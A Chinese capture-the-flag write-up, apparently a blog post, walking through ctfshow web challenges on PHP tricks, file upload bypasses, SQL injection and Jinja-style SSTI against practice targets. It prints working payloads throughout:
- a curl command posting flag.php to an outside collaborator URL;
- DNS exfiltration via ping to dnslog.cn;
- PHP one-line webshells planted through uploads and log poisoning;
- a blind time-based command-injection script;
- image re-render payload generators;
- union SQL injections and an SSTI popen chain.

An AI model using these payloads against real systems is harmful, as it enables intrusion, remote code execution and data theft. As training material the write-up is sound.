var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
  ["flag"]=>
  string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
  [0]=>
  object(ReflectionMethod)#2 (2) {
    ["name"]=>
    string(5) "hello"
    ["class"]=>
    string(1) "A"
  }
}
原文链接:https://blog.csdn.net/miuzzx/article/details/109168454

也就是说我们直接输出new ReflectionClass(‘ctfshow’)

他就会直接输出里面的内容

web 101

用100的预期解

web 102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);#截取v2从2开始的后续字符
    $str = call_user_func($v1,$s);#将v1作为回调函数,将s传入
    echo $str;#输出str
    file_put_contents($v3,$str);#将其中的数传入v3中
}
else{
    die('hacker');
}
?>

他调用v1,v1没有任何过滤所以它可以执行任何函数,也就是说我们可以把构造的数字字符串转换成标准字符串hex2bin,特殊字符是无法转换成16进制的,但是因为他对V3没有任何过滤,也就是我们可以用伪协议来读取我们输入的数据,也就是说我们可以对我们的数据进行base64加密,然后再转换成16进制,而且需要保证转化成的16进制除了e之外没有别的字母才可以被判断成数字字符串(因为V2取第二个之后的,所以我们解码完成之后再前面需要添加两位,因为他是四个一组,而他的总共长度只有30我们正好可以在前面添加两个数字,一二开头的两位数好像都可以把)

最终payload:

<?=`cat *`;

web 103

跟上面一条相比增加了一层过滤但是是在str里面所以直接用上面的就可以

web 104

他对v1 v2没有任何要求,他们俩相等就行

web 105

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){#对GET进行遍历
    if($key==='error'){#参数不能有error
        die("what are you doing?!");
    }
    $$key=$$value;#进行覆盖赋值
}foreach($_POST as $key => $value){#对POST参数进行遍历
    if($value==='flag'){#参数不能有flag
        die("what are you doing?!");
    }
    $$key=$$value;#覆盖赋值
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

suces=flag = 》 $suces = $flag绕过第一个flag

error = suces =》 $error = s u c e s = 》 suces = 》 suces=error = $flag

flag直接不传,进入下面的if然后直接输出error

web 106

数组绕过

web 107

parse_str — 将字符串解析成多个变量

也就是说我们V1需要传入一组key=value的形式key是flag要他的value等于v3MD5之后的值,我们可以找MD5之后为0e开头的数然后让flag = 0

web 108

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。 ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配

所以随便输入一串字符串然后截断后面填写我们需要的数字877的反转778

web 109

可以抛出一个异常,或者用上面的反射类,直接反射出其中v2中的内容v2构造system(‘cat fl36dg.txt’)

web 110

学到一个类:获取指定目录下的所有文件的类 FilesystemIterator

以及一个函数:返回当前目录:getcwd

但是我的flag文件好像不在第一个,没拿到flag,解法没错的

web 111

题目的意思是v1得等于ctfshow然后V2必须是全是英文字符然后赋值给v1执行var_dump,因为没有给其他的变量,所以我们可以用全局变量来解决,直接构造var_dump(GLOBALS)

web 112

直接用伪协议读取flag.php就好了

php://filter/read=convert/resource=flag.php

web 113

过滤了filter,另找方法:compress.zlib://这个函数相当于gzpoen,因为括号被禁用所以用这个替代

gzopen(),一般用来打开gzip文件读写,可用于读取非gzip格式的文件;在这种情况下,gzread()将直接从文件读取而不进行解压缩。

据说还有一种方法绕过is_file:

file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php

在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容.多次重复后可以绕过is_file

web 114

这里虽然过滤了compress但是又把filter放出来了,过滤了convert过滤器,我们可以不经过过滤直接读

php://filter/resource=flag.php

web 115

我们需要输入这个num但是num要经过trim过滤

此函数返回字符串 str 去除首尾空白字符后的结果。如果不指定第二个参数,trim() 将去除这些字符: 
◦ " " (ASCII 32 (0x20)),普通空格符。  
◦ "\t" (ASCII 9 (0x09)),制表符。  
◦ "\n" (ASCII 10 (0x0A)),换行符。  
◦ "\r" (ASCII 13 (0x0D)),回车符。  
◦ "\0" (ASCII 0 (0x00)),空字节符。  
◦ "\x0B" (ASCII 11 (0x0B)),垂直制表符。 

然后还要经过上面的替换,这个过滤的话,我们可以写一个简单的fuzz

<?php
for($i=0;$i<129;$i++){
	$s = chr($i).'1';
	if(is_numeric($s) and tirm($s)!=='1')
		echo(urlencode(chr($i).'\n');
}
%0c  换页符
%2B   +

加会被替换所以用%0c36

web 123

php的变量名是只能有数字字母下划线的,其中的空格 + [ .会被替换成下划线,但是有一个特性可以变量里面出现.那就是[这个符号出现之后被替换成下划线但是后面的符号是不会被替换的,后面的点也就会维持原样

CTF_SHOW.COM =>CTF[SHOW.COM=>CTF_SHOW.COM

然后进入eval($c.’;’),没有任何过滤直接echo $flag

web 125

没有过滤highlight_file,给fun一个get传参,然后gei传入一个flag.php

web 126

$a=$_SERVER['argv'];这个函数在我们输入参数时进行记录或者覆盖

比如:

<?php
$a=$_SERVER['argv'];
var_dump($a);
#var_dump(get_defined_vars());
?>

当我们直接传入参数时她会记录在数组中

比如我们传入aaa=bbb时她会返回array(1) { [0]=> string(7) "aaa=bbb" }

这样我们就可以将其分割成数组形式进行变量覆盖parse_str进行分割

payload
get:?c=1+fl0g=flag_give_me
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])
或者直接用assert也行
get:?$fl0g=flag_give_me
post:CTF_SHOW=1&CTF[SHOW.COM=1&fun=assert($a[0])
因为assert中传入字符串是会当作代码执行,也就是说我们直接把flag_give_me赋值给了fl0g

web 127

fuzz一下看一下没有被过滤的字符

space % & 0 1 2 3 4 5 6 7 8 9 = ? A B C D E F G H I J K L M N O P Q R S T U V W X Y Z a b c d e f g h i j k l m n o p q r s t u v w x y z | 

我们需要构造覆盖,但是下划线被过滤了,我们知道有几个字符在get传参是会自动转换成下划线space [ . +

而且后面三个都被过滤了所以用空格就行

web 128

学到一个骚姿势:

gettext() 或者_()

她会实现程序的国际化:

假如你的没有国际化的程序里有这样的代码,echo "你好";,而国际化的程序你要写成 echo gettext("你好");,然后再在配置文件里添加“你好”相对应的英文“Hi”。
这时,中国地区浏览都会在屏幕上输出“你好”,而美国地区浏览都会在屏幕上输出“Hi”。也就是说,最终显示什么是根据你的配置文件而定的,如果找不到配置文件,才会输出程序里面的内容。

这样我们就可以查看后面文件中的内容

_(get_defined_vars)之后就会变成

call_user_func(get_defind_vars)直接会返回已经定义的变量数组

web 129

题目得到意思是我们输入的f里面一定要包含ctfshow而且不能在第一位,而且运用的是readfile函数,那么我们就可以想到这个题目意思应该是我们需要猜测flag所在目录,因为必须要包含ctfshow,那么就应该是有一个ctfshow文件夹的存在,我们直接退出目录然后从根目录打开/vat/www/html/flag.php

web 130

.表示任意单个字符,+表示必须匹配1次或多次,+?表示 重复1次或更多次,但尽可能少重复

题目的意思应该是ctfshow之前不能存在东西,然后ctfshow必须在我们输入的数的第一位

直接f=ctfshow

web 131

正则匹配的回溯次数有上线,100万,当我们输入的值超过这个值的时候,他就会溢出,返回直接返回false

也就是说我们在36Dctfshow之前传入一个溢出值,他就会直接绕过第一个正则判断

也就是输入一百万个字符,我们可以直接用四个字符*250000后面接一个36Dctfshow就可以

web 132

&&运算符:全1出1,当左边为0时不计算直接返回0

题目要code是1到877的随机数,如果直接不管他就会直接进后面的||运算,所以我们只需要username=admin就行了

进入到下面的一个判断,需要code等于admin,那么我们直接设定code=admin,username=admin,password=1

就行了

web 133

题目的意思是可以执行命令但是没有回显

我们直接分号截断他的substr就行了

因为只有6个字符,所以我们可以覆盖

f=`$f`;
这样不仅进行了截断还可以继续执行后面我们输入的语句
比如
f=`$f`;+sleep 3;
当我们运行的时候网页确实sleep了
说明我们后面的文件执行了
但是为什么会执行呢
因为我们进行了覆盖
那么现在也就是``$f`; sleep 3;`
``是shell_exec的缩写
也就是shell_exec(`$f`; sleep 3)
前面不用管,后面的函数我们是可以进行控制的
因为他没有回显,我们就可以用反弹shell或者外带的形式,把flag.php给传到我们自己的网站这里来

可以用bp接收

payload:

f=`$f`;+curl -X POST -F xx=@flag.php http://+bp给的网址

详细操作:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-b8DksPz6-1648304945686)(ctf-show/web133_1.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ediLUzgx-1648304945687)(ctf-show/web133_2.png)]

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-HV4a51xF-1648304945688)(ctf-show/web133_3.png)]

拿到flag.php文件

web 134

extract($_POST)以及parse_str($_SERVER['QUERY_STRING'])

组合成的数组覆盖漏洞

首先进入题目是get以及post方式都不能传入key1、key2但是下面得判断key1、key2等于36d

parse_str — 将字符串解析成多个变量
extract — 从数组中将变量导入到当前的符号表

测试一下:

<?php				url?_POST[key1]=1
$key1 = 0;
echo "{$key1}";
@parse_str($_SERVER['QUERY_STRING']);
echo "<br />";
var_dump($_POST);
#var_dump(get_defined_vars());
extract($_POST);
echo "<br />{$key1}";
?>

0
array(1) { ["key1"]=> string(1) "1" }
1

可以看到第一开始的时候key1是0但是经过下面的分解之后他将我们在url上面赋值的_POST[key1]=1覆盖原本post值的内容,然后对post进行一个extract

解析成变量名:也就是说我们现在又执行了$key1=1又对key1进行了一次赋值这样可以更改他的值变成36d

web 135

是133plus:

相较上面多过滤了一些函数,curl被过滤了,主要考的还是外带信息,可以用ping

前面跟上面还是一样的但是由curl变成了ping,因为在dnslog不能全回显,所以我们西药用awk以及nr配合读取行数,刚开始读取还是不行我们需要添加一层“正则”匹配一下flag中的数字还有字母,这样才能回显

payload
?F=`$F `; ping `nl f*|awk 'NR==15'|tr -cd "[a-z]"/"[0-9]"`.a33jsr.dnslog.cn -c 1

还有一种方法,就是直接重定向到一个我们新建的文件中,直接访问下载就能拿到flag

nl f*>xxx

然后访问xxx文件就行了

web 136

没有过滤写文件tee,我们可以将前面查询的内容输出到文件

ls /|tee 1可以将根目录的文件写入1文件中然后将找到的flag文件写入到另一个文件中访问下载即可

骚姿势:

ls |xargs sed -i 's/die/echo/'
ls |xargs sed -i 's/exec/system/'

通过php内部语言将网页中的php代码更改,然后直接命令执行

web 137

讲到调用call_user_func的方法以及->跟::调用类中成员的方法

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

也就是说::可以不用实例就能调用类的静态方法

web 138

call_user_func可以传入数组

如果传入的数组是

call_user_func(array($classname,'function1'))
这个时候他就会直接调用classname类中的function1方法

web 139

跟136的代码一模一样,但是不能写文件,所以上面的方法不能用了,需要另外找一个方法:文件盲打

因为没有过滤sleep所以可以进行盲打

原理:

ls / -1  #将根目录文件一行一个表示
awk 'NR==1' #截取第一行
cut -c 1 #截取当前文件名的第一个字符

将我们分割的文件对字母遍历,如果正确就设置一个sleep,如果正确执行则返回

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Ukf2cMHq-1648304945689)(ctf-show/web139_1.png)]

我们对这个进行一个判断:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-dgpHcYWn-1648304945689)(ctf-show/web139_2.png)]

附上payload脚本:

import requests
import time
import string

result = "+++++++++++"
url = 'http://33f5eb0a-181b-4cbf-8014-74a54f04a425.challenge.ctf.show/?c='
str = "ctfshowabdegijklmnpqrtuvxyz-{}0123456789"
#for i in range(1,5):
    for j in range(1,50):
        for m in str:
            #payload = 'if [ `ls / -1 | cut -c %d | awk "NR==4" ` == "%s" ];then sleep 4;fi' % (j,m)   #f149_15_h3r3
            payload = 'if [ `cat /f149_15_h3r3 |cut -c %d ` == "%s" ];then sleep 4;fi' %(j,m)
            target = url + payload
            #print(target)
            try:
                io = requests.get(target,timeout=(3))
            except:
                result += m
                print(result)
                break
    result+=" "

web 140

松散比较==:

0=='ctfshow'为真(8.0.0之后为假)
所以我们需要$code为0
也就是说我们只需要一个没有返回值的函数拼接就行了
官方:usleep
也可以使用两个system或者sleep什么的

web 141

url编码的构造形式:但字符串的ascii吗16进制前加%

用^构造出我们需要的字符,但是如何执行呢

构造异或之前写过,可以去翻翻

特性:运算符中间含有语句的时候可以一样执行

phpinfo()
1+phpinfo()+1
其中的phpinfo会一样执行

web 142

数字构造,直接构造0e在转换成int的时候会被判断为0,(—好像直接是0也可以—)

web 143

无字符RCE:

strr = '`!@#\^*="\'()[],/<>?:'

for i in strr:
    for j in strr:
        for m in strr:
            print(chr(ord(i)^ord(j)^ord(m)) +'=%'  + str(hex(ord(i)))[2:]  +'^%' +str(hex(ord(j)))[2:] + '^%' + str(hex(ord(m))))[2:]

然后拼凑就好了

web 144

过滤从V3变成了V2但是对V2的过滤消失了,所以我们可以把刚刚v3的payload放到v2,然后v3的长度要等于1直接构造1-v2就行了

web 145

三目运算符的妙用:

return 1?phpinfo():1;
执行phpinfo()

web 146

增加了:过滤,可以用等号然后||绕过

eval("return 1==phpinfo()||1");

也会执行phpinfo

web 147

使用创建函数/create_function前面添加/作用不仅是绕过,这是默认的命名空间,所有原生类以及函数都在这里,我们调用函数的时候其实是调用了一个相对路径的函数命,如果前面添加了一个/那么我们再调用函数的时候我们就必须加上/使用它的相对路径;

create_function()用法
$a = create_function('$b','return 1;')相当于
function $a($b){
return 1;
}

所以我们直接构造

post:ctf=/create_function()
get:show=;};system('tac f*');##首先先闭合这个函数然后添加我们需要的代码,最后把后面的那个}注释

web 148

可以直接使用上面的^拼凑,过滤换一下就行

wp是直接用上面的那些构造_GET然后用中文作为变量名,进行变量替换执行函数;

$哈="`{{{"^"?<>/";${$哈}[](${$哈}[]);&=system&=cat%20flag.php

web 149

题目会将除了index.php文件意外的所有文件都删除(当前目录下),但是它中间给我们留了一行文件写入,我们可以直接在index.php文件中写入一句话木马。

payload:
get:ctf=index.php post:show=<?php eval($_POST[1]); ?>

web 150

这个题目里面对文件包含的这个ctf完全的没有做什么过滤只是过滤不能使用任何协议。

所以我们可以直接写入日志文件,写入一个一句话木马,然后包含日志文件直接RCE,先得测试一下看看网站时什么服务器,在页面后面随便乱写一些页面,可以看到是nginx服务器,而他的一般日志文件在/var/log/nginx/access.log文件夹下,我们直接提前先写一个文件修改一个user-agent写一个一句话木马,然后包含日志文件最后RCE

web 150_plus

对上面的方法进行了过滤,ctf里面不能包含log得换一个办法,有一说一这个题目有一个缩进问题,导致容易看错,其实下面的function __autoload是独立出来不包含在类里面的,这种魔术方法 在试图使用当前脚本中尚未被定义的类时自动调用,可以看到下面没有回显所以$__CTFSHOW__这个变量是没有被创建的,但是上面的extract($_GET);可以进行变量覆盖必须得跟$__CTFSHOW__不同,所以得使用特性

空格   +    [    .   在变量中会被替换成下划线
[之后的上述符号是不会被替换成下划线的
所以我们构造变量覆盖可以构造..CTFSHOW..它就会被解析成__CTFSHOW__既不会进下面的if又可以进行覆盖进入上面的魔术方法,经过魔术方法返回之后可以将其变成函数,构造成
#函数名();
这种语句,直接输入phpinfo就可以执行phpinfo()
flag包含在phpinfo里面

文件上传

web 151

过滤卸载了前端,直接修改前端代码,png改成php直接上传一句话木马

web 152

除去前端的过滤后端也有过滤,但是只过滤了他的后缀格式,我们创建一句话将其改成png后缀发送过去之后抓包,抓到后修改格式就可以成功执行

web 153

同样是抓包修改,但是出现一个问题,php修改后缀之后是无法直接用的,那么我们只能上传图片,然后在上传文件修改服务器的配置文件,让其中的文件改成php语言或者是包含这个文件让其执行。

对apache服务器来说是上传.htaccess文件构造上传,将我们上传的图片文件解析成php语言然后访问执行,如果是nginx服务器的话则是.user.ini配置文件,而且这个条件非常苛刻

我们可以在.user.ini中设置php.ini中PHP_INI_PERDIR和PHP_INI_USER模式的 INI 设置,而且只要是在使用CGI/FastCGI模式的服务器上都可以使用.user.ini

题目里面开启了,所以可以用,有两个参数可以设置包含auto_prepend_file还有auto_append_file这只一个指定文件相当于使用了包含,文件将其内容包含在了php文件中,而这两个函数的区别则是一个是在文件之前插入一个实在文件之后插入,后者在插入的时候入宫文件结尾有exit()则无法触发。

举个例子:

.user.ini

GIF98a
autp_prepend_file=1.jpg

1.jpg

GIF98a
<?php eval($_POST['a']); ?>

GIF98a是一种图形交换格式(GIF)98a版(有时可以绕过检测)

这样他就会被包含在upload里面的index.php文件里面)

web 154

对文件内容加了一层过滤,文件内容不能出现php用<?=代替<?php即可

web 155

上面也可以

web 156

过滤了[]

可以直接在文件中调用system函数直接回显

web 157

过滤了分号,因为在末尾直接删除即可

web 158

不知道添加了啥,上一把的可以直接用

web 159

system被ban了,用反引号闭合代替

web 160

反引号被ban,可以使用包含日志文件,因为此服务器是nginx所以日志一般在/var/log/nginx/access.log

括号也被ban所以直接用双引号包裹就行,最后输入进去的时候发现还是不行,测试了一下因为log这边不能在一块,可以分割开来用.

链接

web 161

多了一层对图片识别的过滤,因为我们一直都有加GIF98a所以可以直接过

web 162-163

条件竞争,环境做不了

web 164

图片的二次渲染绕过:摘录一下wu名大佬的脚本:

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./1.png');
?>

zui后生成的脚本就是<?$_GET[0]($_POST[1]);?>

将这个文件上传上去就可以进行rce了

web 165

上一题是png二次渲染,这一条是jpg二次渲染,类型差不多,只不过jpg渲染比较繁琐,脚本也比较长,附上脚本:

<?php
    $miniPayload = "<?=phpinfo();?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>

运行第一次渲染的图片:1.jpg

php jpg_payload.php 1.jpg进行二次修改

然后上传就可以看到需要的代码被写进去

web 166

只能上传zip格式,不仅前端后端也有过滤,所以只能上传zip格式,将zip用文本格式打开,在里面添加我们的一句话木马,这样就可以直接运行一句话木马

web 167

有个提示:httpd

以为意味这我们可以通过.htaccess文件修改主配置文件,我们直接修改,因为他只能上传jpg文件所以我们让他将jpg文件用php语言执行,

AddType application/x-httpd-php .jpg

需要抓包修改文件类型上传,需要修改成jpeg文件上传

web 168

基础免杀,上传了png文件抓包可以修改后缀上传,可以发现上传成功,访问也可以正确回显,我们在其中插入phpinfo可以执行

但是如果是eval还有system就会显示null,那么就用反引号还有=号构造系统命令上传,可以执行

web 169

发现文件页面的检查是zip文件,上传之后发现只有png文件可以上传,然后还过滤了<那么构造php文件的方式就没办法了,但是他是可以新建文件的,如果我们上传文件1.php内容为123她会自动新建一个页面,那么我们在upload文件夹新建一个index.php文件然后用user.ini文件修改配置让他包含日志文件,这样的话我们直接在User-Agent头写入一句话木马,然后在这个页面执行就行

web 170

同上,但是nl还有tac命令用的时候不知道出现了什么问题(太菜了没找到),最后用cat也能拿到flag就是了

sql注入

web 171

没有任何过滤那应该在这张表里面,直接用

1'or'1'='1即可拿到表单的所有信息

(也可以直接查询)

web 172

添加了限制条件,上面的不能用了,还是单引号闭合,直接联合查询

最终payload:

-1'union select 1,(select password from ctfshow_user2 where username = flag);--+
或者直接爆他所有的内容。
-1'union select 1,group_concat('~',username,':',password) from ctfshow_user2;--+

web 173

对username进一步过滤,flag不能出现,那么我们直接爆出password所有内容就行

-1'union select 1,2,(select group_concat('~',password) from ctfshow_user3);--+

web 174

SSTI

web 361

这里跳了一下,看一下模板,ssti

题目的提示:名字就是提示,我们只需要在网页的后面以get方式传入一个值就行了

既然是ssti那么我们直接测试一下{{7*‘7’}}看一下

如果返回的是7777777那么就是jinjia2

如果返回的是49那么就是twig

成功返回了49,那就肯定了就是这里。

那么我们直接开始调用里面的魔术方法

''.__class__.__mro__可以看到object类在2那么数组就是1,然后我们进去看一看它里面的类

''.__class__.__mro__[1].__subclasses__()可以看到回显了很多类,我们查找可以执行os命令的类

找到了在133,那么数组就是132我们直接调用初始化,然后globals全局来查找可以使用的方法及变量参数

这里面os是空的,继续找,找到popen

?name={{''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值